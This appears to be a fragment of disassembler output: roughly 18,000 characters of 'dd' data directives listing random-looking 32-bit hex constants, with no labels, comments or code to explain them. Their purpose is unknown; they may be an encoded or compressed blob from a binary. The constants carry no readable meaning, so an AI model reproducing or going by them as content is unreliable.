		dd 5C562D35h, 8704D770h, 0DC6019C4h, 5612B77Ah,	84B2D606h
		dd 795D738Dh, 4EAB8C8h,	0F980185Dh, 0FC55E060h,	8F1F9BFh
		dd 5B6B2275h, 0E99073A9h, 951201AAh, 48B30EBDh,	0B6E2E62Fh
		dd 3BE06C4Dh, 2710C084h, 0F607D8h, 54E078E2h, 21D4EB56h
		dd 5B6504D4h, 0AB4F930Ch, 0F2ED0675h, 9B05A2A8h, 953B28D8h
		dd 0A07AE88Dh, 581290EEh, 901F8CD4h, 8AF4B9EAh,	1850DA26h
		dd 0AD4D6760h, 0DEDB0030h, 20B45155h, 0F8E4B522h, 22879058h
		dd 0BBA09701h, 685FC0B3h, 7A420C02h, 0DF525038h, 54BB7E18h
		dd 67641A13h, 0BB2852AEh, 5AE94B20h, 3221C2Eh, 0AB60C1CDh
		dd 2A5BB578h, 6B0049E6h, 0ED825749h, 180814D7h,	2F1D5EB1h
		dd 0F3F8A0FFh, 9F386541h, 291C16B7h, 2E7404A7h,	0D9AC217h
		dd 0EB6A6DF5h, 0F008634Ch, 11AC4E48h, 108B490Eh, 8107141Dh
		dd 52D621DEh, 30DF6176h, 5AC1BD75h, 0F23FB623h,	6B703115h
		dd 0CE0CE2B1h, 0FD071E81h, 89BFDF42h, 4F75E0E9h, 7982403Ch
		dd 6071F68Bh, 2E40E79Ch, 0F2DC0Bh, 0DB8F6EE9h, 615B81DFh
		dd 5DBD8912h, 0EF6308B5h, 9F59AD0Fh, 0BD349D40h, 95FAFF97h
		dd 864EE202h, 551881CCh, 2EFE7BB1h, 0D57E6413h,	949C4600h
		dd 0A15D059h, 0A90BE116h, 2D451304h, 97EB8107h,	0B9506463h
		dd 1D01C48Fh, 846A3A39h, 4338215Ah, 65DD6AFAh, 559D1A40h
		dd 0F754951Bh, 0DC48F649h, 0C8495206h, 20C29EB0h, 96580A09h
		dd 380F5399h, 464184D2h, 0E7F25650h, 0A5F1C00h,	6160F7A3h
		dd 5196DCEDh, 6BB59A90h, 61B9D4C9h, 4168F883h, 2E6F03E9h
		dd 0DD515D09h, 1A446B09h, 57F70200h, 0D9402530h, 9C730026h
		dd 4529B533h, 0C73B0A4Bh, 0FB6FA4A1h, 728EB389h, 0DBE1F75h
		dd 87B76F1Ch, 0C401A200h, 90F19C39h, 1E292DCAh,	0BF50E756h
		dd 5F9058DEh, 0B740B800h, 50613FB6h, 49F8B33Eh,	16ABBC97h
		dd 0AD5E900Dh, 8C1CAC32h, 0D1EF6100h, 3D139038h, 8E1A505Ah
		dd 19540BE3h, 0A565243h, 5006DB7Ah, 0C2976B67h,	9F5B5D57h
		dd 0E90ADE2Dh, 5146F851h, 0DC749E2Bh, 5BA13501h, 29FE7348h
		dd 0FDABF07Eh, 7D8BD5C9h, 38E96310h, 5B57C2E1h,	0D7EF70F5h
		dd 74736795h, 0BA8B5BFh, 92558B87h, 3529406Ch, 0F49EBE22h
		dd 0F08E60Bh, 61C3FE8Bh, 2F3F1CD7h, 88CC0D28h, 4509F381h
		dd 163AFF42h, 3B92714h,	28001F3Dh, 0FDD15AFAh, 8B30BCBh
		dd 81448D80h, 66233B30h, 0C425ACh, 947DFA9Dh, 67125478h
		dd 0ADE79C39h, 0D74F10DBh, 0A91100ABh, 4687E86Ah, 0DC3D8D5Ch
		dd 3AA4122Ch, 614A4FF6h, 2A21BD36h, 6AD748E2h, 0D5FA4A11h
		dd 9B78B0DDh, 0B6A6C05Ah, 845CBF2Dh, 8C7DB552h,	9C63CE32h
		dd 5296CB12h, 25EBE3AFh, 0FF82D75Fh, 4DF5E04Ch,	0A932E000h
		dd 0DD131535h, 6BABBDFAh, 11623F8h, 8B41AB27h, 36342FD9h
		dd 92603AC4h, 256EDCBFh, 355C0CEDh, 0C63DBDC2h,	74EC09F1h
		dd 0F07144DEh, 0DA9797A8h, 3C4DB5ECh, 2D601C64h, 0DF02407Bh
		dd 36A6545Ch, 23E55CABh, 0F40F78A6h, 0D228E904h, 0E0B815A9h
		dd 0B460627Ch, 89090309h, 59D389D2h, 0CB8180C7h, 59564E50h
		dd 40A31A97h, 0A230A1A4h, 4347C70h, 0BAB5FFDAh,	75B07EE7h
		dd 57098460h, 55158F0Fh, 2F850C39h, 0D9762AFh, 26A9A7Dh
		dd 5701CDD4h, 0A541D879h, 207B5065h, 0DBB27EB0h, 9BE7D000h
		dd 4E3B2BEFh, 25BEEE3Dh, 6ECBDE8Bh, 21DFDA57h, 4D9D8483h
		dd 0DFE7B919h, 34ADB505h, 51E438AAh, 61AE6FBFh,	3A4AED47h
		dd 0EE84F9CCh, 7B8300D1h, 0DB8B2CCEh, 0D30392EBh, 46120D6Dh
		dd 6069CA71h, 800B4D35h, 5BBD505Fh, 0C6C88D35h,	0E2ED51F3h
		dd 607C4883h, 57A5D6C9h, 38174C8h, 8C4CF582h, 55FFE29Dh
		dd 1D9143B5h, 28E23780h, 380EAD85h, 0E049F27Ch,	6020F380h
		dd 0B18D100Bh, 9D387331h, 0B9B84EB9h, 0A010E6E4h, 1B12AE9h
		dd 66FA8A60h, 2E61CF8Bh, 0B54ABC28h, 9C00B5CEh,	4DAD58DFh
		dd 181CEBh, 0AEF3A229h,	354CAC48h, 3351DA0Bh, 893A5758h
		dd 0A80935F7h, 0C59154DBh, 50C997C6h, 7A3F2585h, 0A9B43FA7h
		dd 200F8E5Bh, 3C36D145h, 51D32DC9h, 0E95F0081h,	0BAC52A84h
		dd 96E0D2F6h, 0C075CD89h, 0B28E7104h, 6DDBC18Bh, 56BB2C0h
		dd 0AF4AE01Dh, 0A91F75ABh, 11C4A876h, 0F12E950h, 32E5468Eh
		dd 38C28FAh, 25EB7C97h,	37B7F562h, 0D6D2D089h, 2A750900h
		dd 0BDB7797Dh, 9E9BA8DEh, 0DE35DCE5h, 4EB4275Bh, 0F04A5FF1h
		dd 56812EFBh, 5BDA688Ah, 2A24049Bh, 0EA4BB13h, 0E6055BC0h
		dd 0E0BAE4C4h, 0EC2EB3D0h, 63130390h, 0FB6EBD19h, 92CCB7E6h
		dd 0F7E4E411h, 5C5EB525h, 0BD0162FCh, 4D49EA76h, 0F4B3E259h
		dd 2999C582h, 0DC08DC5Dh, 0BE1C56h, 0B0467390h,	75206D6Ch
		dd 29EAA025h, 33BB9716h, 0C91D1827h, 47AD10Ch, 4207E9F7h
		dd 0F6C67886h, 13C5A5E3h, 2AE9BA13h, 0EB9E5EECh, 778DA539h
		dd 0B4013E4Eh, 76CB6A0Ah, 0B2F3CCEEh, 0DC6CF402h, 89BF763Eh
		dd 5657DDB9h, 0DE0FA63Bh, 841F3E00h, 87A39A34h,	0C2D72DDBh
		dd 810BAFEh, 8064EB4Ah,	0A9D152FBh, 8C16ACE6h, 2320512h
		dd 20C87C2h, 0C77565E9h, 172E125Ch, 0BCC3F9AAh,	0A4EB3EB5h
		dd 4E98092h, 1613B14Ch,	94EADB12h, 0D608ABEEh, 0E6D42D18h
		dd 635095DEh, 0BA397A12h, 0A84F25F3h, 0E9BC5A0Ah, 0EB171984h
		dd 0A64B068Eh, 36ECA1ADh, 2F5AC96Eh, 0BCF274AAh, 0C7B8832Bh
		dd 0F89DE37Fh, 5924EFh,	6DCDFC0h, 9A99E8Ch, 0C985292Fh
		dd 5CC65B6Ah, 0A2BFC0F9h, 654BF60Ah, 206AFB8Dh,	0EDC0570Ah
		dd 72981D07h, 0B2202EDEh, 4F6A2DFBh, 8042DBFFh,	941A6F9h
		dd 0D2DB0B64h, 8882F04Ah, 6C751915h, 0F7FCB6h, 64CF0227h
		dd 0C0C10C11h, 0F48BB72Fh, 84F74994h, 0EFB9DE31h, 0B8FD158Bh
		dd 5AB574h, 0D28146A2h,	4BE24048h, 0FE841902h, 0FFB0C434h
		dd 2D0051ECh, 1DD64FA2h, 0E8FA3D73h, 5BFF6CFh, 5FBA6FDBh
		dd 12C4ED58h, 61EB70E6h, 514DB567h, 0A571E4A1h,	0CA23C926h
		dd 47D9C6Bh, 7BAC2509h,	4E2878A1h, 0C2858CF9h, 486C7D00h
		dd 7243AA2Ah, 21AB0A47h, 8437BA5Bh, 1613E5BDh, 9D011101h
		dd 0EA2E0475h, 4BA2964h, 130F91FBh, 0E35F2C81h,	7EB4B17Ah
		dd 0A3D1B9A0h, 616EEA4h, 0E963BA2Ah, 0B34A6971h, 0F04F8BF8h
		dd 0F84B50C3h, 77E205C5h
		dd 5192D100h, 0F1723DBBh, 4F21901h, 0CDBE742Fh,	0D24B2CB8h
		dd 95561413h, 0A211D56Bh, 38AE3129h, 9D091DA0h,	10F70192h
		dd 4AFDFD40h, 8857B91Dh, 9A5A61Eh, 5E5C53CFh, 235E0072h
		dd 0B52F91BDh, 0CB082265h, 4B7627A9h, 0C0844D4Bh, 2AD04842h
		dd 0E1A9C224h, 75BBC960h, 0CDF202D8h, 3330983Bh, 0A8F4FE5Dh
		dd 20BB5864h, 50218C4Bh, 1F61DCA0h, 7DB95F80h, 0F76BE1A3h
		dd 0E901A3D3h, 9302AFBh, 0AA1B4B7Dh, 605A903Fh,	0F3B81826h
		dd 0B9943C06h, 12C6917Dh, 0EBFC5723h, 3C00936Eh, 64D95E15h
		dd 0E490B160h, 0DC90955Ah, 389FBF61h, 2B934877h, 1E66FC0h
		dd 0F6F9B438h, 0C03AFDC2h, 2B0F830Bh, 3DB6D250h, 0DAB95695h
		dd 4ABB9EA2h, 7DDC67F4h, 4AE54820h, 1BEAF925h, 8C2D37F5h
		dd 0CB90148Fh, 8AC2CE09h, 0FFEF77D9h, 1BF5DDE1h, 48A3E789h
		dd 0CCBD2C79h, 11B24A67h, 0F46AAAF4h, 41683D02h, 40FFEAFBh
		dd 8218911Bh, 0C2FFFB8Bh, 0F15F68h, 9D533E7h, 60522191h
		dd 0B29D61C5h, 0B85F09C6h, 2FC0F56Fh, 90D68A9h,	2EBDB55Fh
		dd 0F8A5679h, 56131789h, 7A7988h, 47BCF338h, 0F48AF105h
		dd 7F76BA07h, 8993CF29h, 828D8952h, 96D7B12Ah, 0ECBC81E6h
		dd 137D8A4Bh, 3BBD048Ah, 5B27D1E8h, 1200ECD8h, 0F32025BDh
		dd 46E8480h, 808E9EBFh,	517A4EEEh, 0A6852553h, 90B81E5h
		dd 409CEF04h, 60FCF920h, 12DC289Ch, 4BAB11Ch, 0AE175DF5h
		dd 0E5A61F64h, 294055A0h, 12C33A49h, 0BDF1ACD6h, 0F21CC27Fh
		dd 5CDDEA77h, 7F3691A1h, 0C0B896Eh, 0BDD926F9h,	0A054FC59h
		dd 4AC5BDC5h, 895AFC34h, 0B745751Fh, 40EB4D25h,	0E4548A51h
		dd 5C9361Eh, 52856400h,	0CB65B531h, 69C05F65h, 89940D77h
		dd 87D38006h, 898B4F70h, 61904C3Ah, 26155400h, 7D13D067h
		dd 9F9D0073h, 24C1087Ah, 0EC01D13Bh, 9168F46Eh,	0E8243C35h
		dd 568F95FEh, 0AB2336A7h, 8F70947Bh, 89BC04DDh,	0AC7C52FBh
		dd 0F5CFDF1Ch, 0DC85AB5Fh, 0D495FCC9h, 87C12FFEh, 0D881050Fh
		dd 82053001h, 0BDD702F4h, 5D16019Fh, 0C8EF93ACh, 31131DA0h
		dd 0CBB1D1BDh, 12FBDF20h, 0E15251B5h, 0E8E92BF1h, 0F80B61E8h
		dd 0C8C59D29h, 5AE1BDDEh, 0D38FB20Bh, 0C480C09Ah, 2AB86936h
		dd 5CF57A31h, 9C2B02B1h, 0E0BD8A9Eh, 0B3143525h, 33B9D86Fh
		dd 0C589A031h, 0F8042081h, 271B8024h, 44FBEE6h,	5CB78012h
		dd 0A26BAECCh, 39093B43h, 128197FEh, 2F8C83D3h,	2FF93713h
		dd 0D301C7B8h, 5655A870h, 5686605Bh, 0A8CBAAEAh, 5A31ED20h
		dd 60B1B561h, 637889C8h, 9678F0BBh, 0D3300215h,	0C884030Bh
		dd 9B000B71h, 96711B1Fh, 0D93A0277h, 63EF2378h,	181256DEh
		dd 1CB174ABh, 20F50B9h,	0F3A8DD68h, 0AA19607Bh,	1EEA926Eh
		dd 0EDECAB22h, 0F8C032EDh, 37AE807h, 21AD642Bh,	8C5B6851h
		dd 0DFF9E8FDh, 0A919A416h, 0ABE012FAh, 57A092F7h, 0DB7782ADh
		dd 66B37F1Ah, 903E4C50h, 12FD2716h, 0E107E44Eh,	6048F295h
		dd 0CDE8F090h, 855E01A9h, 0A877E4C3h, 4C2D2F92h, 0C3A9FE01h
		dd 0F4DFAC2Ah, 90E070A6h, 96732E86h, 0DB02BBFEh, 0E9186377h
		dd 2E38F538h, 0E500CB4Fh, 3B0884C3h, 5E7F35h, 0DED69E83h
		dd 0D893476Ah, 0A595093Eh, 0DD475624h, 26631444h, 17D1EA12h
		dd 0C0BBDBFBh, 0E77E67D4h, 0A8471229h, 930CF2C2h, 7980ACE4h
		dd 9AFDA5CBh, 0B7F7207Fh, 84680CBh, 123B4FDDh, 0A59D3109h
		dd 1F5ED318h, 0EA2540D2h, 43A380Bh, 9178B595h, 0EDC09D1Bh
		dd 0B5CA63D6h, 0A81F4F3Ah, 59B992FAh, 40CB1DB9h, 2FF19DE8h
		dd 3E0165B5h, 0AC2C6916h, 48EDB4BEh, 0E10E27A8h, 0E9EB8FFEh
		dd 5D99DD92h, 0E6F7E696h, 9B480036h, 0B169D12Eh, 5B4A3EDDh
		dd 0B45868E6h, 41B7600Eh, 80E6F872h, 0F1986244h, 0DA1D02A7h
		dd 9CD61C29h, 0B08EE77h, 6142B658h, 68B71002h, 0CFD5CFA9h
		dd 84E1406Dh, 98958B0Fh, 95CA4295h, 975357E5h, 0BB4F3200h
		dd 1D9C000Ch, 14C78121h, 605629D2h, 0D6232FD5h,	545C495Ch
		dd 11446D6h, 47B9BF7Ah,	0D8752056h, 0E6BF0E54h,	81A9A5DCh
		dd 0D1B1E587h, 7FDE090Bh, 0E600E6A3h, 13423245h, 78FCB417h
		dd 66ADEE5Ah, 160B5F8Bh, 810F2C73h, 0EB9742F7h,	77D5E0Ah
		dd 4C8DBD29h, 201250AFh, 57F351B7h, 97EF8009h, 493547Ah
		dd 40BA5CDAh, 61D1BBC6h, 4C663C34h, 0AA70B8h, 6937DA6Bh
		dd 2F953160h, 0C0EC0F65h, 5610DE00h, 93010B99h,	0A09C0412h
		dd 0AD9DF08Ch, 0DA8B0B46h, 0FCB2FD5Eh, 4B71E505h, 5118968Eh
		dd 0F3000B63h, 0EE8929A1h, 7F1B1Dh, 0F6E6924h, 2F4736AAh
		dd 0F3107F95h, 620E6671h, 0A0DC3FF2h, 189638A7h, 163B0993h
		dd 185ED37Bh, 8E90A002h, 12DD0866h, 2707BCD8h, 7094FB96h
		dd 0D505F790h, 54B73451h, 239B6BAEh, 0E0470B15h, 0EA8D8257h
		dd 39F14Dh, 1930BB0Eh, 8C04CCA3h, 997AC67Ch, 0E75BDDBDh
		dd 0A7A3A013h, 0CF1252Fh, 3A11F7E5h, 0CFD6205Bh, 2B079A2Ch
		dd 88B99944h, 46BB64D0h, 66870BC8h, 0C9825196h,	3A72FC1Ah
		dd 2DA6E3Eh, 0E281EFBBh, 0B126A021h, 0A271CA8h,	3F64ED11h
		dd 0C177078Fh, 0EB673439h, 2BA06B8Ah, 0F54BE05Ch, 5FDEF1CDh
		dd 19911935h, 0C3BFBC97h, 70860F50h, 9D56971Fh,	3DAFF569h
		dd 8AC2F272h, 1C50AD7Ah, 47770019h, 9367AF16h, 0D005BFF8h
		dd 0A76ABEDBh, 0A546CAEBh, 855288AEh, 60C66B07h, 0C781F281h
		dd 0E0D870D4h, 55540F63h, 0EDF3614Fh, 2885E898h, 2DFD6008h
		dd 0F6036175h, 89D18ABBh, 1CD7E61Eh, 4C19487h, 0BAE9C42Dh
		dd 5142451Ch, 0FE0C8C0Fh, 75F6E0DDh, 0ED09DBB5h, 0D75BFB96h
		dd 0BB859704h, 9A4B97B8h, 0C11BC8A4h, 0C41885E5h, 1C05BE35h
		dd 5195097Dh, 0F43BFCE5h, 5E416CF1h, 55F8F302h,	854142DEh
		dd 0E33A2211h, 28F510C2h, 7CC9AB4Eh, 0BC5DA92Ah, 646D27C8h
		dd 2300F8E4h, 0DE8FABE5h, 0F65C21h, 4F0E420Fh, 2FD68162h
		dd 0B04B68F2h, 89C1F8ACh, 4833C58Dh, 3A25BC98h,	7836D313h
		dd 0D60047B7h, 332D20E5h, 535AF54h, 0B689EF81h,	0BB918008h
		dd 89971DE7h, 0DCF254CDh, 526ED814h, 5C1869A0h,	0F4C6A0F4h
		dd 0E379B7FAh, 4026DCADh, 8316534Ch, 422FF3E4h,	0FFA74A5Bh
		dd 3C8054BDh, 6054967Ch, 44F560ADh, 4F93D781h, 10337B35h
		dd 983E7E04h, 0A516E6AAh, 7C8129EDh, 4449E44Dh,	0A1E8ABD7h
		dd 166AAB4Bh, 27E4605Eh, 8C756107h, 0EDD1FF2Dh,	3A34C0ADh
		dd 854B8A78h, 6A22E8CAh, 87E7F95Ah, 24C18CA1h, 605190ACh
		dd 0F2EF04F1h, 3A700207h, 0F739F28Ch, 0FE80B264h, 0F1A0FB8Bh
		dd 904B5061h, 0B03D99DDh, 0DD48D9A8h, 0F4073E8h, 0F3D34AE9h
		dd 3AC684C2h, 0A03FE624h, 0C7226h, 69883918h, 31A5BD0Bh
		dd 12B43D9Fh, 911A0B0Bh, 3A5700C2h, 53CDDDB1h, 0FE25065h
		dd 8E87673Ch, 0D0C5E68Ch, 92995F41h, 13D5A900h,	4E7E9C50h
		dd 0B464494Ah, 0F2F05356h, 4F05F5A9h, 9D0B50E3h, 5B8092EEh
		dd 0C9E9EDF5h, 0B91348ECh, 0CA00155Eh, 666E8EF5h, 40A0B491h
		dd 0AE45CA13h, 472C0A00h, 9AC935B5h, 8D310926h,	9CD72059h
		dd 0E9728736h, 17B9DA7Dh, 0AF33C780h, 0F3DF971h, 21434109h
		dd 78DE6909h, 0B626F09Ch, 2351CB81h, 0E074C19Dh, 25BA9861h
		dd 0BFECF16Dh, 27292344h, 7307399Dh, 30D709B0h,	12E6FBCCh
		dd 0FE958970h, 106209B2h, 71551F49h, 0D671256Ch, 64BEBF04h
		dd 0E74C96BCh, 0D52AE30Bh, 88F01957h, 7521950Ch, 8B512507h
		dd 85E87800h, 123DF6Dh
		dd 0B30E3E04h, 2F9EE75Dh, 5A8B9A10h, 0B56A8EA5h, 6F4F40EAh
		dd 2B28475Bh, 0B93294C8h, 0D4D15D33h, 0C63F6073h, 2203B40Bh
		dd 3D4ED41h, 58AB809Fh,	90330DA9h, 0D6329EC4h, 0D73D0029h
		dd 4B7D8D29h, 4A56BE13h, 4912B5ACh, 86B6F1F5h, 9F16DBF0h
		dd 4A2CE110h, 2861CB81h, 4E7E801Ah, 7E9E9B18h, 303573D8h
		dd 0F33AF0A5h, 5F4B7514h, 2922C3D2h, 9E852C80h,	565843BEh
		dd 0F2CC06Bh, 2F8CA218h, 4FC8C77Ah, 1CA035E9h, 0A5130DE7h
		dd 61AF4D87h, 2FD8BF2Eh, 231DCE22h, 23B2B589h, 0D22E94D7h
		dd 4D1E132h, 0B9C98479h, 0B96E84CDh, 47C5109h, 1D850102h
		dd 0E7CE7503h, 0BD89F90Bh, 0B98CA399h, 0B252E504h, 0E9B17709h
		dd 0C93E9DF3h, 7F162E9Fh, 2FB91BADh, 81C0F0FCh,	16AA07D3h
		dd 8DD09AFFh, 0ABB7D5F1h, 0D2DEADh, 4420C612h, 0A40DBBFCh
		dd 0C2726F8Eh, 6504BA2Fh, 0CBB6C02Bh, 97B805E4h, 0CBC1BA27h
		dd 6051CC5h, 5D04597Fh,	24BBD24Ah, 3DA2EAA6h, 619D4BECh
		dd 530235CBh, 7B958541h, 0F4098693h, 61F641BAh,	3E880D5Bh
		dd 0D814A87Bh, 99129CF4h, 6760BA13h, 58360DC9h,	49004440h
		dd 27AA16D8h, 7919FDDFh, 897258DCh, 0FD5ABE3Ch,	4FB1EC19h
		dd 2EBDA1AFh, 8D9BAA25h, 0C695DDC1h, 0F6CC2BA1h, 0A25300B8h
		dd 7C883645h, 52733922h, 705ABF21h, 26A8F88Ah, 5112640Fh
		dd 0ACAC9115h, 26082900h, 9D33D93Ch, 9C97097Ah,	0B56470C6h
		dd 0E64040CFh, 0B859448h, 0A1962311h, 55492F02h, 46D4DE5Eh
		dd 0D5B9001Ch, 0FF861363h, 7EEA2476h, 34950B72h, 82E9F25Ch
		dd 5EBE0231h, 0F2FE12C8h, 7B6C89C4h, 5CF9D88Dh,	740C2E05h
		dd 60B8C005h, 0C2E70F25h, 205B5211h, 5C2823AEh,	0B41ECF04h
		dd 0ADBC49F7h, 562B02A2h, 9A36819h, 64DF67D3h, 9B604E22h
		dd 0B6F98224h, 0B995EDBh, 0B610E8F8h, 9A0BD5C6h, 215AA0DAh
		dd 5F2321CCh, 0AF87162Fh, 0F500176Eh, 2A17197Ch, 0A725485Fh
		dd 4BA3E87Ah, 0A67FE101h, 28EAF08Bh, 0CBA6C25Dh, 0BC5E8A94h
		dd 741C47D6h, 37490B02h, 0C2F2588Eh, 25F45689h,	603EBECEh
		dd 84E5A529h, 0F4E46165h, 0C0A820BFh, 0A5C3F9BFh, 2796F1D0h
		dd 0C09D6D49h, 0EB3DEA7Fh, 29E8EC02h, 5DA7B252h, 7D40CD6Fh
		dd 26265515h, 8A84B27h,	68031AB9h, 0F4354EEEh, 0EC2D3983h
		dd 110FEAACh, 6F732A4Dh, 362E0275h, 0D7114D23h,	1D9115B5h
		dd 6DA4EA92h, 0B1AF1D10h, 25D5E8ABh, 0BD329EDh,	0B09066ADh
		dd 24752037h, 5FBEE93Ch, 0B04FECF7h, 719D1F1Bh,	5835693Dh
		dd 3588B580h, 18C54B2Eh, 6092A377h, 5D821B81h, 0BB41BF65h
		dd 10D8A593h, 0D0B5975Fh, 21831791h, 0FA9C359Dh, 1DA254A6h
		dd 82BE6C90h, 92FD8E00h, 0EF888F85h, 867BBDFEh,	0D9407524h
		dd 0B1A3B97h, 32E06A11h, 0FA1D6B5Eh, 0CF0B6488h, 8D0FCD61h
		dd 33E52A09h, 2A07AADBh, 39F10145h, 0E2F4B350h,	2DC69DEh
		dd 0F80869E6h, 7375B5FFh, 0D47AD896h, 95B96809h, 7BB74662h
		dd 0D6200486h, 0EA7811B8h, 32012B1h, 75C508BFh,	5F1228E0h
		dd 9646AA41h, 0C3DC567Dh, 8064128Ch, 4975F33Ah,	5ABCB9h
		dd 0C721CB5Bh, 0B62E9DEh, 0F5BD0916h, 0F7309452h, 13AE88C8h
		dd 0BC8F6917h, 185F2717h, 3BA7BDDh, 20FD2453h, 89899A15h
		dd 5FCD7E79h, 95DCC47Ah, 0DB20BF6Ah, 2E83361h, 8CF4C4B6h
		dd 0FA4CEEE4h, 17DF8101h, 613FE994h, 0FCB83929h, 61853108h
		dd 0D88A0913h, 44BBEFDFh, 632FD816h, 786C8E25h,	0E3085AA6h
		dd 17328ED4h, 0E2011F7Bh, 8EC61873h, 480E7B79h,	551C4980h
		dd 0E121EAC6h, 5697DD30h, 1035782h, 2ADC8A5Bh, 47E12EB6h
		dd 0CE61F1B3h, 3AFBA8C3h, 2EA15A10h, 0CA314B7Eh, 65E63797h
		dd 75658DE2h, 0FA94267Eh, 4ED0B3DEh, 797AE12Dh,	8C1DACF1h
		dd 0C54D0F00h, 357C31D9h, 9C01250Ah, 10CEC84h, 32E5B589h
		dd 8C74762Fh, 4008519Dh, 5BA3DB3h, 7606F604h, 0B3AF22F3h
		dd 25213D02h, 5F9BC257h, 0B19F7C3Dh, 0B787E625h, 0FF527010h
		dd 6B79A201h, 0BB8B4C7Ah, 0EB74207Ah, 5B252FB1h, 0BDB255CEh
		dd 3ED4D20Bh, 85236081h, 0E822C7Dh, 1AED9529h, 12C5F5h
		dd 4FB6D381h, 73B538AAh, 0CB535AADh, 1E53F02h, 0BCCF88B5h
		dd 74E18D8Bh, 0E27D525Fh, 30CE2C53h, 0CB084B05h, 0B0055639h
		dd 2BE079h, 7BFAAB2Ah, 0B0EDCE7h, 0A56AFE9Dh, 0AD533DC2h
		dd 1D3D64D8h, 0C94693B5h, 0F2C1E509h, 5F52010Dh, 94D36E38h
		dd 0F0E0EFE1h, 3C2943A1h, 17ED9309h, 0D9808EBDh, 8FEB96DDh
		dd 6EF41E00h, 91062B2Ch, 0F6545AE8h, 3015B25Eh,	314A35A5h
		dd 0DCAA8F84h, 9D1F2354h, 5F3513A5h, 1D8E09EAh,	0D7C038D5h
		dd 74855EB3h, 0A01FA6D6h, 97A58CE3h, 0D5E870F4h, 1039BD41h
		dd 1723F73h, 1FBF5074h,	0EE549245h, 0DAE0FE6Dh,	189A3A6Eh
		dd 0D2A8DC29h, 0AC4B6CDBh, 6A0358Ah, 3716E015h,	8ACE66Fh
		dd 1F8CD4Ah, 2EDB53A8h,	0D257DC28h, 0EB9BFA44h,	0B272FB92h
		dd 10A489D9h, 7BF967Eh,	7EE8EC3Ch, 0B8D37950h, 13E4270h
		dd 0E3E9313Ch, 37F78B60h, 59BB0224h, 5C743B97h,	498569DFh
		dd 0FB66BBF9h, 0CD51B53Eh, 12C4BE1Fh, 66AF3709h, 30E224A8h
		dd 1345E7B5h, 0B01EB7A3h, 0F4C767h, 57ADE4A1h, 9D47CBFh
		dd 0C45B5F25h, 8E05015Ah, 11551EFEh, 0E7752E13h, 52A010A6h
		dd 0AC343727h, 0D2D2DBADh, 8D3D7DC6h, 9A63100h,	0ECBE2763h
		dd 13C12D9Dh, 85000AECh, 1CBB6A9Ah, 0E3F0DC8h, 128A7F01h
		dd 547B11C1h, 0CA3720B7h, 98F01C97h, 97E925DDh,	909BD78h
		dd 0D5189D95h, 0B525FA51h, 0EEC60341h, 89908D1Ch, 2416595h
		dd 5A7D0730h, 4E214222h, 375F1349h, 80CBA466h, 6DEF4D69h
		dd 0DFA0B071h, 6DC916C5h, 10CF938Dh, 411BF584h,	17246982h
		dd 27D1672Ch, 7234EDBDh, 81570061h, 9476C1EFh, 78945B44h
		dd 6C64116Eh, 7F5FE1D5h, 0F6BEC453h, 6785F024h,	97FAC9h
		dd 0E88192FCh, 30B31959h, 88FF9AD2h, 941B905h, 6636F37Fh
		dd 4FBCD8Eh, 39B259B8h,	6CF9A128h, 0C08BC0F6h, 0B7F4EBh
		dd 59F39E83h, 3526445Dh, 970038F8h, 0AA226458h,	414929h
		dd 3D7ACB89h, 39055E45h, 21D03Ch, 0FBD77C6Bh, 38DE2824h
		dd 79035A18h, 96B5813Ch, 0FC94DAB8h, 0D0F3407h,	0ED206E24h
		dd 0E2612Bh, 0E41CB638h, 0F65665DAh, 0BBFAF48h,	80F4C02Ch
		dd 9AA86469h, 0E6C207DDh, 2BEB454Dh, 87261A00h,	0CD3C7EA1h
		dd 40A0041h, 0AC6ADA54h, 0FC9D007Ch, 4F08D70Bh,	55014628h
		dd 0DECCD259h, 30F49819h, 3B9E8B2h, 7CC2CFD8h, 0DDF93882h
		dd 896F7DCh, 0F121C760h, 0AB47CCAh, 6FD44D90h, 7AB000E9h
		dd 0D8C67179h, 1698AF00h, 3BFEC086h, 0D533077Eh, 0C07A3495h
		dd 5D3C51E0h, 0B5D6E800h, 978DB9F2h, 0AF58C09Bh, 0C1B16B8h
		dd 0FC251103h, 30FD19B3h, 0DD218F08h, 67001B0Eh, 3AD92890h
		dd 7C55E05h, 5D809EBDh,	0DEC7C030h, 30C1C3F3h, 0D0EE0D3Ah
		dd 0B0881041h, 0C964AF03h, 0C06009F8h, 3823807Ch, 0EC511DCh
		dd 877CC8EFh, 6F502BD7h, 2C6E6781h, 0C29C7E5h, 0FF29B831h
		dd 5B92DF00h, 1AA8E4B2h, 4E67082Bh, 863DB861h, 0DBA1CFAFh
		dd 0EF80189h, 2B51185Bh, 0F39D70BCh, 21C108CCh,	5B06009Fh
		dd 4CDFF3Ch, 3A0CBAC5h,	0D8FC8A2Dh, 0AED80623h,	10D7FE0Dh
		dd 9A184400h, 9299B36Ch, 5F240061h, 49743CD4h, 97055CC4h
		dd 0A2BE9B2Bh, 2A4FC000h, 0A6663Bh, 0FCEF02E5h,	0DFA803DEh
		dd 0E64D5301h, 0E3D77F5h
		dd 7CF8DDFCh, 17B600B9h, 0C0B3AAE0h, 0C9064342h, 9F1EF641h
		dd 0E048711h, 10384788h, 0B300FD72h, 97D751CBh,	0BCB5AFh
		dd 0A09892F4h, 84FA74DAh, 4A543A00h, 2A52E81Ch,	31C80168h
		dd 0D2F490Bh, 0F411CC71h, 0C5145600h, 0B9E13A5Ah, 759D0019h
		dd 2446BB89h, 4900E53Eh, 0B47A9111h, 1A4EA4Ah, 0C9609AD2h
		dd 0ECD389A3h, 0F124B6B1h, 0BC00931Fh, 1054CF49h, 0EC75D6h
		dd 22BB6FD2h, 5BC09AABh, 1EF86300h, 0C2F4804h, 14770073h
		dd 53EC9099h, 5D1F1731h, 73BEE68h, 54BC442h, 414019E0h
		dd 0D1E503E0h, 7AF51B8Eh, 8D2AD807h, 0DC802910h, 0FDB7EDFh
		dd 6964C1C2h, 0FFAD9660h, 8100E6E2h, 27B4BEFEh,	0A61A70h
		dd 1D5EB82Fh, 480A06ACh, 0F16CE600h, 81C29CDFh,	6B0B0060h
		dd 9B08ABAEh, 0EF004C4Eh, 0DAF5BFF4h, 2FEDACh, 0A79DA987h
		dd 0C3612E08h, 0E45B2700h, 0AB84FF98h, 4C470132h, 2DA41917h
		dd 44E8C024h, 0B1317100h, 0EF18AB28h, 50833952h, 0EC373302h
		dd 0F0A059E1h, 75FAF814h, 0BD5C1900h, 1A3F0CE6h, 832712FFh
		dd 40E918C3h, 0DC1FFE58h, 0ECC0F089h, 1E2326D1h, 21870056h
		dd 0C460555Bh, 0C0DF6AC9h, 6471807Bh, 6F94F095h, 0E3460016h
